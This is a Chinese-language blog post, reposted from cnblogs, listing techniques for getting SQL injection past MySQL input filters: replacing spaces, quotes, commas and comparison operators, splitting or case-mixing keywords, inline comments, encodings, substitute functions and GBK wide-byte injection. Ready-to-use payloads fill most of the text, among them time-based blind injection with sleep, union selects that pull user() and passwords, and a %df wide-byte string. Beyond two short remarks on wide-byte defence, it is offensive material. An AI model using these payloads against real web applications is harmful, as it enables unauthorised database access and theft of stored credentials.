两个空格代替一个空格,用Tab代替空格,%a0=空格:


%20 %09 %0a %0b %0c %0d %a0 %00 /**/ /*!*/

最基本的绕过方法,用注释替换空格:


/* 注释 */

使用浮点数:


select * from users where id=8E0union select 1,2,3 select * from users where id=8.0 select 1,2,3

2|02.括号绕过空格:

  如果空格被过滤,括号没有被过滤,可以用括号绕过。

  在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。

例如:


select(user())from dual where(1=1)and(2=2)

  这种过滤方法常常用于time based盲注,例如:


?id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23

(from for属于逗号绕过下面会有)

  上面的方法既没有逗号也没有空格。猜解database()第一个字符ascii码是否为109,若是则加载延时。

3|03.引号绕过(使用十六进制):

  会使用到引号的地方一般是在最后的where子句中。如下面的一条sql语句,这条语句就是一个简单的用来查选得到users表中所有字段的一条语句:


select column_name from information_schema.tables where table_name="users"

  这个时候如果引号被过滤了,那么上面的where子句就无法使用了。那么遇到这样的问题就要使用十六进制来处理这个问题了。
  users的十六进制的字符串是7573657273。那么最后的sql语句就变为了:


select column_name  from information_schema.tables where table_name=0x7573657273

4|04.逗号绕过(使用from或者offset):

  在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决:


select substr(database() from 1 for 1);
select mid(database() from 1 for 1);

  使用join:


union select 1,2     #等价于
union select * from (select 1)a join (select 2)b

  使用like:


select ascii(mid(user(),1,1))=80   #等价于
select user() like 'r%'

  对于limit可以使用offset来绕过:


select * from news limit 0,1
# 等价于下面这条SQL语句
select * from news limit 1 offset 0

5|05.比较符号(<>)绕过(过滤了<>:sqlmap盲注经常使用<>,使用between的脚本):

5|1使用greatest()、least():(前者返回最大值,后者返回最小值)

  同样是在使用盲注的时候,在使用二分查找的时候需要使用到比较操作符来进行查找。如果无法使用比较操作符,那么就需要使用到greatest来进行绕过了。
  最常见的一个盲注的sql语句:


select * from users where id=1 and ascii(substr(database(),0,1))>64

  此时如果比较操作符被过滤,上面的盲注语句则无法使用,那么就可以使用greatest来代替比较操作符了。greatest(n1,n2,n3,...)函数返回输入参数(n1,n2,n3,...)的最大值。
  那么上面的这条sql语句可以使用greatest变为如下的子句:


select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64

5|2使用between and:

between a and b:返回a,b之间的数据,不包含b。

6|06.or and xor not绕过:


and=&&  or=||   xor=|   not=!

7|07.绕过注释符号(#,--(后面跟一个空格))过滤:


id=1' union select 1,2,3||'1

  最后的or '1闭合查询语句的最后的单引号,或者:


id=1' union select 1,2,'3

8|08.=绕过:

  使用like 、rlike 、regexp 或者 使用< 或者 >

9|09.绕过union,select,where等:

9|1(1)使用注释符绕过:

  常用注释符:


//,-- , /**/, #, --+, -- -, ;,%00,--a

  用法:


U/**/ NION /**/ SE/**/ LECT /**/user,pwd from user

9|2(2)使用大小写绕过:


id=-1'UnIoN/**/SeLeCT

9|3(3)内联注释绕过:


id=-1'/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()#

9|4(4) 双关键字绕过(若删除掉第一个匹配的union就能绕过):


id=-1'UNIunionONSeLselectECT1,2,3–-

10|010.通用绕过(编码):

  如URLEncode编码,ASCII,HEX,unicode编码绕过:


or 1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。

11|011.等价函数绕过:


hex()、bin() ==> ascii()

sleep() ==>benchmark()

concat_ws()==>group_concat()

mid()、substr() ==> substring()

@@user ==> user()

@@datadir ==> datadir()

举例:substring()和substr()无法使用时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74 

或者:
substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1

12|012.宽字节注入:

  过滤 ' 的时候往往利用的思路是将 ' 转换为 \' 。

  在 mysql 中使用 GBK 编码的时候,会认为两个字符为一个汉字,一般有两种思路:

  (1)%df 吃掉 \ 具体的方法是 urlencode('\) = %5c%27,我们在 %5c%27 前面添加 %df ,形成 %df%5c%27 ,而 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,%df%5c 就是一个汉字,%27 作为一个单独的(')符号在外面:


id=-1%df%27union select 1,user(),3--+

  (2)将 \' 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27 ,后面的 %5c 会被前面的 %5c 注释掉。

12|1一般产生宽字节注入的PHP函数:

1.replace():过滤 ' \ ,将 ' 转化为 \' ,将 \  转为 \\,将 " 转为 \" 。用思路一。

2.addslaches():返回在预定义字符之前添加反斜杠(\)的字符串。预定义字符:' , " , \ 。用思路一

(防御此漏洞,要将 mysql_query 设置为 binary 的方式)

   3.mysql_real_escape_string():转义下列字符:


\x00     \n     \r     \     '     "     \x1a

(防御,将mysql设置为gbk即可)

本文转自 https://www.cnblogs.com/Vinson404/

sql绕过小技巧的更多相关文章

  1. mysql操作sql的小技巧

    本篇集中整理一下执行sql的小技巧,这种方式不仅带来了操作上的便捷,也可以保证数据可以数据的安全性. 1:查询数据(保证查询性能) 首先想先解释一下 SELECT * 和 SELECT t.id , ...

  2. sql server 小技巧(8) visual studio 2013里使用Sql server compact 4.0及发布问题处理

    1. 安装 Microsoft SQL Server Compact 4.0  https://www.microsoft.com/zh-cn/download/confirmation.aspx?i ...

  3. sql server 小技巧(2) 删除sql server中重复的数据

    with list_numbers as ( select Name, AuthorOrTime, Url, Price, EstimatePrice, Size, Category, ROW_NUM ...

  4. sql server 小技巧(1) 导入csv数据到sql server

    1. 右击 DataBaseName,选择 Tasks->Import Data 2. 选择数据源: Flat File Source , 选择一个csv文件 Advance: 选择所有的列,改 ...

  5. sql server 小技巧(7) 导出完整sql server 数据库成一个sql文件,包含表结构及数据

    1. 右健数据库 –> Tasks –> Generate Scripts   2. 选择所有的表   3. 下一步,选择Advanded, Types of data to script ...

  6. sql server 小技巧 集锦

    sql server 小技巧(1) 导入csv数据到sql server sql server 小技巧(2) 删除sql server中重复的数据 sql server 小技巧(3) SQL Serv ...

  7. sql server 小技巧(6) Cannot resolve the collation conflict between "Latin1_General_CI_AI" and "Chinese_PRC_CI_AS" in the equal to operation

    今天查询二个db,出现这个错误,二种方法,一种是把db里的collation改成一样的:如果不方便可以直接在sql语句后面转一下: select * from table where crm_mscr ...

  8. sql server 小技巧(5) Sql server 获取指定字符后的所有字符 - 去掉指定字符前的所有字符

    select top 10  SUBSTRING( sproductcode, CHARINDEX('-', SProductCode)+1, LEN(SProductCode)) from csmr ...

  9. sql server 小技巧(4) Sql server 排序时让空值排在最后

    order by  coalesce( u.sort, 2147483647) sql server 小技巧 集锦

随机推荐

  1. MySql索引使用策略

    MySql索引 索引优点 1.可以通过建立唯一索引或者主键索引,保证数据的唯一性.2.提高检索的数据性能3.在表连接的连接条件 可以加速表与表直接的相连 4.建立索引,在查询中使用索引 可以提高性能 ...

  2. JavaScript 读取CSS3 transform

    某些场景需要读取 css3 transform的属性 例如 transform:translate(10px,10px) rotate(-45deg); 这该怎么读取呢,正则表达式?毫无疑问这很坑爹 ...

  3. 没有真实串口设备时使用"虚拟串口驱动"调试你的串口代码

    目录 前言 示例代码 总结 前言 很多时候需要编写串口代码,但是又没有真实串口设备来调试代码.以及本身就是要操作2个串口的情况,可以使用"虚拟串口驱动"工具方便的调试代码. 使用方 ...

  4. yum 的一些问题总结

    1. yum 只删除目标,不删除依赖 rpm -e --nodeps xxx 2.yum remove 出错 报错 Error: Cannot retrieve repository metadata ...

  5. ceph扩展bluestore的db分区

    前言 在ceph 14版本里面才加入了bluefs-bdev-migrate,分区迁移相关的命令,那么在12版本里面其实也是可以扩展分区的 测试的版本 [root@lab102 ceph-0]# ce ...

  6. Linux下如何创建loop device

    在Linux中,有一种特殊的块设备叫loop device,这种loop device设备是通过映射操作系统上的正常的文件而形成的虚拟块设备 因为这种设备的存在,就为我们提供了一种创建一个存在于其他文 ...

  7. 一篇文章了解_selenium

    (一)安装selenium 2018年10月7日 星期日 11:14 安装python 打开 Python官网,找到"Download", 在其下拉菜单中选择自己的平台(Windo ...

  8. 01、MyBatis HelloWorld

    1. MyBatis简介 1)MyBatis 是支持定制化 SQL.存储过程以及高级映射的优秀的持久层框架 2)MyBatis 避免了几乎所有的 JDBC 代码和手动设置参数以及获取结果集 3)MyB ...

  9. Mesos Marathon能做什么?理念是什么?(转)

    Mesos功能和特点? Mesos是如何实现整个数据中心统一管理的呢?核心的概念就是资源两级供给和作业两级调度.先说说从下而上的资源两级供给吧. 在Mesos集群中,资源的供应方都来自Mesos Sl ...

  10. 我要进大厂之大数据Hadoop HDFS知识点(2)

    01 我们一起学大数据 老刘继续分享出Hadoop中的HDFS模块的一些高级知识点,也算是对今天复习的HDFS内容进行一次总结,希望能够给想学大数据的同学一点帮助,也希望能够得到大佬们的批评和指点! ...